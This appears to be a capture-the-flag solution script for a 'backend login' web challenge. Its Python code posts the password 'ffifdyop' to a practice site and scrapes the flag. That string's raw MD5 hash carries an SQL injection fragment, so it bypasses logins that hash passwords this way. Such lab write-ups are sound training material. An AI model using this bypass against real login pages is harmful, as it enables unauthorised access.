2.后台登录

import urllib
import hashlib
import urllib.request
import urllib.parse
import re

password = "ffifdyop"
print(password)
values = {"password":password}
print(values)
data = urllib.parse.urlencode(values)
data = data.encode('ascii')
print(data)
url = 'http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php'
request = urllib.request.Request(url,data)
response = urllib.request.urlopen(request)
a=response.read()
b=a.decode('utf8')
print(b)
print (re.findall("flag{.*}",b))